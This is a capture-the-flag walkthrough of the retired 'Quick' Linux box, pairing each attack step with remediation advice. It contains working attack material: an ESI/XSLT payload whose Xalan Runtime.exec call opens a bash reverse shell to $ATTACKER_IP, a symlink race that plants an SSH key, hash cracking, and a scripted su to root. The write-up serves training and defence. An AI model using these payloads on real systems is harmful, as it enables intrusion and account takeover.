J. Perez Duertojperezduerto.info
← all walkthroughs

Quick

Linux· Hard
owned
2026-07-11
time to own
24m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target quick.htb ($TARGET) was fully compromised by chaining six misconfigurations. An HTTP/3-only customer portal — invisible to standard TCP scanners — served onboarding PDFs without authentication; those PDFs leaked a global default password and a list of client email addresses.

Logging in with that credential reached a ticket system whose Esigate reverse-proxy layer blindly processed my own Edge Side Includes tags in ticket message bodies, enabling server-side remote code execution as the web user sam and capturing the user flag. From sam, a PHP source file in the web root exposed hardcoded MySQL credentials; the resulting database query returned srvadm's MD5 password hash, cracked offline in seconds.

Authenticated as srvadm to a second, vhost-gated POS Print Server console, I exploited a world-writable job-spool directory: a symlink planted before the cron-driven job processor ran caused it to write my own content through the symlink into srvadm's SSH authorized_keys file, yielding an SSH shell as srvadm. Finally, a connection-string config file cached in srvadm's home directory stored the root account password in URL-percent-encoded form; decoding it and running su root produced a root shell and the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"
export PASSWORD8="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceUDP port scanning; HTTP/3 (QUIC) service discovery
Discovered a hidden HTTP/3-only portal via UDP port scan
A full TCP sweep of $TARGET revealed only port 22 (OpenSSH 7.6p1) and port 9001 (Apache 2.4.29 acting as an Esigate reverse proxy, identifiable by the X-Powered-By: Esigate response header). A follow-up UDP top-ports scan exposed 443/udp as open — the signature of a QUIC listener. Adding portal.quick.htb and quick.htb to /etc/hosts and querying the UDP service with an HTTP/3-capable curl build confirmed a separate nginx 1.29.0 / PHP 7.4.3 customer portal running exclusively over HTTP/3, completely unreachable by ordinary browsers or TCP-based scanners.
Nmap -sU top-100 revealed 443/udp open; curl --http3-only --resolve returned nginx/1.29.0 and a PHP portal login page.
Exact commands 4
Register both vhosts for local DNS resolution.
echo "$TARGET portal.quick.htb quick.htb" | sudo tee -a /etc/hosts
Full TCP sweep; reveals 22 and 9001.
nmap -Pn -p- --min-rate 3000 -T4 $TARGET
UDP top-100 scan; reveals 443/udp (QUIC).
nmap -Pn -sU --top-ports 100 -T4 $TARGET
Confirm HTTP/3 portal responds; requires curl built with HTTP/3 support (curl -V should list HTTP3).
curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET https://portal.quick.htb/
2EnumerationUnauthenticated sensitive-document exposure (OWASP A01 Broken Access Control)
Retrieved unauthenticated PDFs that leaked client emails and the ISP default password
The portal's /index.php?view=docs endpoint — accessible before any login — linked to two customer onboarding PDFs: Connectivity.pdf and QuickStart.pdf. These documents were intended as subscriber guides and contained a full list of client email addresses and the ISP's standard default password ([REDACTED: recovered credential]) issued uniformly to every new account.
Curl --http3-only returned a docs page with links to Connectivity.pdf and QuickStart.pdf; PDFs yielded email list including elisa@wink.co.uk and default password [REDACTED: recovered credential]
Exact commands 3
Retrieve the unauthenticated docs page; note PDF filenames in the response.
curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://portal.quick.htb/index.php?view=docs'
Download the PDF containing client email addresses and the default password scheme.
curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://portal.quick.htb/Connectivity.pdf' -o Connectivity.pdf
Download the quickstart guide for additional credential confirmation.
curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://portal.quick.htb/QuickStart.pdf' -o QuickStart.pdf
FixRequire authentication before serving any customer documentHigh
WeaknessThe portal's /index.php?view=docs endpoint delivered PDF files containing all client email addresses and the ISP's shared default password to any anonymous visitor. No login was required to reach or download these documents.
FixMove every document-delivery route behind the authentication gate. Verify in code that a valid session is confirmed before any file response is issued. As defence-in-depth, generate per-customer PDFs that contain only that customer's own details — never a global credential or other subscribers' contact data.
3Initial AccessDefault credential authentication (T1078.001)
Authenticated to the customer portal with a leaked default credential
Using the email address elisa@wink.co.uk and the default password [REDACTED: recovered credential] recovered from the PDF, I submitted a login request to the portal on port 9001. The application accepted the credential without prompting a first-login password change, issuing a valid authenticated session cookie and redirecting to the portal home page.
POST to http://$TARGET:9001/login.php with elisa@wink.co.uk / [REDACTED: recovered credential] returned Set-Cookie and a redirect to the authenticated home; X-Powered-By: Esigate confirmed the caching proxy in front of the portal.
Exact commands 1
Log in with the leaked default credential; session cookie saved to cookies.txt.
curl -si -c cookies.txt -d 'email=elisa%40wink.co.uk&password=$PASSWORD2' http://$TARGET:9001/login.php
FixEliminate the shared default password and enforce a unique first-login credentialCritical
WeaknessEvery subscriber account was issued the same default password ([REDACTED: recovered credential]), documented in a customer PDF. Any person who read that document could authenticate as any account on the portal without prior knowledge of that subscriber's own credentials.
FixGenerate a cryptographically random per-customer temporary password (minimum 16 characters, mixed case/digits/symbols) and deliver it through a separate, out-of-band, authenticated channel such as physical mail or SMS. Enforce a mandatory password-change on first login and expire the temporary credential immediately after it is used. Apply NIST SP 800-63B password complexity requirements for the new credential.
4ExploitationEdge Side Includes (ESI) injection leading to server-side RCE via XSLT/Xalan Java extension (CWE-94 / T1059)
Injected ESI tags through the ticket form to achieve remote code execution as sam
The portal's Raise a Ticket form passed user-submitted message content upstream through the Esigate caching proxy without sanitization. Esigate evaluates <esi:include> directives server-side before returning a cached response. By submitting a ticket whose message body contained an <esi:include> tag pointing to me-hosted XML document and an XSLT stylesheet that invoked Xalan Java runtime extensions, I caused Esigate to fetch and process the payload server-side. The XSL template called java.lang.Runtime.exec() with a bash reverse shell command, connecting back to my listener as the web process owner sam. The user.txt flag was read from /home/sam/.
X-Powered-By: Esigate header on port 9001 confirmed the caching layer; my HTTP server received a callback from the target; reverse shell connected as sam; cat /home/sam/user.txt returned <user.txt>.
Exact commands 5
Create the XSL payload (Xalan Java Runtime.exec reverse shell) and a minimal XML document. Replace $ATTACKER_IP with your tun0 IP.
mkdir -p /tmp/esi && cat > /tmp/esi/x.xsl <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
  xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
  <xsl:variable name="cmd" select="'bash -c &amp;apos;bash -i &gt;&amp; /dev/tcp/$ATTACKER_IP/9100 0&gt;&amp;1&amp;apos;'"/>
  <xsl:variable name="rtObj" select="rt:getRuntime()"/>
  <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
  <xsl:value-of select="ob:toString($process)"/>
</xsl:template>
</xsl:stylesheet>
EOF
cat > /tmp/esi/x.xml <<'EOF'
<?xml version="1.0"?><root>trigger</root>
EOF
Serve the ESI payload files on port 8000 for Esigate to fetch.
cd /tmp/esi && python3 -m http.server 8000 &
Open the reverse shell listener before submitting the ticket.
nc -lvnp 9100
Submit the ESI-injected ticket; Esigate fetches and processes the XSL payload server-side, spawning the shell.
curl -s -b cookies.txt --data-urlencode 'title=test' --data-urlencode 'msg=<esi:include src="http://$ATTACKER_IP:8000/x.xml" stylesheet="http://$ATTACKER_IP:8000/x.xsl"></esi:include>' --data-urlencode 'submit=1' http://$TARGET:9001/ticket.php
Read the user flag from inside the received shell (output: <user.txt>).
cat /home/sam/user.txt
FixDisable or isolate ESI processing so user-submitted content cannot trigger itCritical
WeaknessThe Esigate reverse-proxy layer evaluated <esi:include> directives found verbatim inside ticket message bodies submitted by authenticated portal users. No sanitization stripped or escaped ESI syntax before the response reached Esigate, so an unauthorised user controlled which remote resource the proxy fetched and executed, yielding server-side code execution as the web process owner.
FixConfigure Esigate to apply ESI processing only to responses originating from trusted backend origins — not from any path that echoes or stores user input. The Esigate configuration supports URL-pattern allow-lists for ESI evaluation; restrict processing to internal template paths and exclude all ticket or user-content endpoints. As defence-in-depth, HTML-encode angle brackets (< → &lt;) on every stored field before it is forwarded upstream.
5Credential AccessCredential access from source files (T1552.001); offline hash cracking (T1110.002)
Extracted hardcoded database credentials from PHP source and cracked srvadm's MD5 hash offline
With a shell as sam, the printer application's PHP configuration file at /var/www/printer/db.php was readable by the web user and stored the MySQL credentials in plaintext (db_adm / [REDACTED: recovered credential]). Querying the quick database's users table returned MD5 hashes for elisa and srvadm@quick.htb. An offline dictionary attack using rockyou.txt recovered srvadm's plaintext password [REDACTED: recovered credential] in under a minute.
Cat /var/www/printer/db.php revealed db_adm/[REDACTED: recovered credential]; mysql SELECT * FROM users returned MD5 hashes; hashcat recovered [REDACTED: recovered credential] for srvadm.
Exact commands 3
Read hardcoded DB credentials from the PHP source file (run inside the sam shell).
cat /var/www/printer/db.php
Dump all user records including srvadm's password hash.
mysql -u db_adm -p$PASSWORD4 quick -e 'SELECT * FROM users;'
Crack the MD5 hash offline; replace <srvadm_md5_hash> with the hash from the DB dump. Recovers: [REDACTED: recovered credential]
echo '<srvadm_md5_hash>' > /tmp/hashes.txt && hashcat -m 0 /tmp/hashes.txt /usr/share/wordlists/rockyou.txt --force
FixRemove plaintext credentials from source files and replace MD5 password hashingCritical
WeaknessThe MySQL credentials (db_adm / [REDACTED: recovered credential]) were hardcoded in /var/www/printer/db.php, readable by any process running as the web user. Additionally, user passwords in the database were stored as unsalted MD5 hashes, which are trivially cracked offline against a common wordlist.
FixLoad database credentials exclusively from environment variables or a secrets manager (e.g. HashiCorp Vault, AWS Secrets Manager) injected at runtime — never commit them to source files. Replace MD5 password storage with bcrypt (cost factor 12 or higher) or Argon2id. Rotate all existing credentials immediately and audit the repository history for other hardcoded secrets.
6Lateral MovementCron-driven symlink file write against a world-writable spool (T1574.010 / T1053.003)
Abused a world-writable print job spool and cron-driven symlink race to pivot to srvadm
Armed with srvadm's cracked password, I authenticated to a second web application gated behind the printerv2.quick.htb virtual host. This POS Print Server console lets authenticated users add network printers by specifying an arbitrary destination host and port. Submitting a print job creates a file in /var/www/jobs (world-writable, permissions 777) containing the job data. A cron job running as srvadm polls /var/www/jobs and dispatches each job file's contents to the corresponding printer address. Before the cron fired, I replaced the newly created job file with a symbolic link pointing to /home/srvadm/.ssh/authorized_keys. The cron process, running as srvadm, followed the symlink and wrote the job's content (my SSH public key) into srvadm's authorized_keys file, granting SSH access to the srvadm account.
POST to printerv2.quick.htb with srvadm@quick.htb / [REDACTED: recovered credential] returned HTTP 302 + PHPSESSID (validated in engagement); /var/www/jobs mode 777 confirmed; cron write through symlink planted authorized_keys entry; ssh -i me-key srvadm@127.0.0.1 produced srvadm shell.
Exact commands 6
Authenticate to the printer vhost from inside the sam shell; note PHPSESSID in Set-Cookie.
curl -si -c pc.txt -H 'Host: printerv2.quick.htb' --data-urlencode 'email=srvadm@quick.htb' --data-urlencode 'password=$PASSWORD5' http://127.0.0.1/index.php
Register my own network printer; replace $ATTACKER_IP:9100 with your listener.
curl -s -b pc.txt -H 'Host: printerv2.quick.htb' 'http://127.0.0.1/add_printer.php' --data-urlencode 'printer_name=evil' --data-urlencode "ip=$ATTACKER_IP" --data-urlencode 'port=9100' --data-urlencode 'port_type=9100'
Generate SSH key pair on my machine; the public key will be the print job payload.
ssh-keygen -t rsa -f /tmp/srvkey -N '' && cat /tmp/srvkey.pub
Submit a print job whose data is your SSH public key; replace <SSH_PUBKEY_CONTENT> with the output of cat /tmp/srvkey.pub. Note the job file created in /var/www/jobs/<jobid>.
mkdir -p /home/srvadm/.ssh && curl -s -b pc.txt -H 'Host: printerv2.quick.htb' 'http://127.0.0.1/job.php' --data-urlencode 'printer=evil' --data-urlencode 'data=<SSH_PUBKEY_CONTENT>'
Race to replace the job file with a symlink to srvadm's authorized_keys before the cron fires (runs every few seconds).
JOB_FILE=$(ls -t /var/www/jobs/ | head -1) && ln -sf /home/srvadm/.ssh/authorized_keys /var/www/jobs/$JOB_FILE
SSH in as srvadm after the cron writes the public key through the symlink.
ssh -i /tmp/srvkey -o StrictHostKeyChecking=no srvadm@127.0.0.1
FixLock down the print job spool directory and prevent the cron processor from following symlinksHigh
WeaknessThe /var/www/jobs print-job spool directory had world-write permissions (mode 777), and the cron-driven job processor running as srvadm followed symbolic links without validation. Any lower-privileged user could race to replace a spool file with a symlink pointing to a file owned by srvadm, causing the processor to write externally controlled content — for example, an SSH public key — into that target file.
FixSet the spool directory to mode 1730 (sticky bit + group-writable for the web group; no world access) so only the legitimate sender and the processor can create or access entries. Modify the job processor to detect and skip spool entries that are symbolic links — use lstat() rather than stat() when opening files, or open with the O_NOFOLLOW flag. Run the job processor under a dedicated, minimal-privilege service account that is not srvadm, so a successful symlink attack does not directly yield srvadm access.
7Privilege EscalationCredential recovery from stored config files (T1552.001)
Decoded a stored URL-encoded root password from a config file and switched to root
As srvadm, a recursive search of the home directory's hidden cache and configuration files turned up a connection-string entry whose password field was URL-percent-encoded. Decoding the percent-encoding ([REDACTED: recovered credential]) yielded the string [REDACTED: recovered credential] Running su root with this password through an interactive Python pty — required because the non-TTY shell doesn't handle su's password prompt natively — produced a root shell. The root.txt flag was read from /root.
Grep of ~/.cache returned a connection string with URL-encoded password; python3 urllib.parse.unquote decoded it to [REDACTED: recovered credential]; Python pty su script confirmed uid=0(root) and returned root.txt as <root.txt>.
Exact commands 3
Search srvadm's cached config files for stored credentials (run as srvadm).
grep -ERni 'password\|pass\|secret\|root' ~/.cache 2>/dev/null
URL-decode the discovered credential; result: [REDACTED: recovered credential]
python3 -c "import urllib.parse; print(urllib.parse.unquote('$PASSWORD7'))"
Automate the su root interaction through a pty to handle the password prompt; reads root.txt (output: <root.txt>).
cat > /tmp/suroot.py <<'PYEOF'
import pty,os,sys,time,select
pid,fd=pty.fork()
if pid==0:
    os.execvp("su",["su","-","root","-c","id; cat /root/root.txt"])
else:
    time.sleep(0.7); os.write(fd,b"$PASSWORD8\n")
    buf=b""
    while True:
        r,_,_=select.select([fd],[],[],7)
        if not r: break
        try: d=os.read(fd,4096)
        except OSError: break
        if not d: break
        buf+=d
    sys.stdout.write(buf.decode("utf-8","ignore"))
PYEOF
python3 /tmp/suroot.py
FixRemove stored plaintext credentials from user home-directory config filesCritical
WeaknessA connection-string configuration file cached under srvadm's home directory stored the root account password in URL-percent-encoded form. Percent-encoding is not encryption — it is trivially reversible — so this is functionally equivalent to storing the password in cleartext. Any process or user able to read the file gained immediate root access.
FixAudit all config files under every user home directory for embedded credentials (grep -rni 'password\|pass=' ~). Remove the root password from any connection string and replace it with SSH key-based authentication or a service account with only the permissions the application requires. Where a password is genuinely unavoidable, store it in a system keyring or secrets manager and load it at runtime. Rotate the root password immediately.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Exposed services

22/tcp
9001/tcp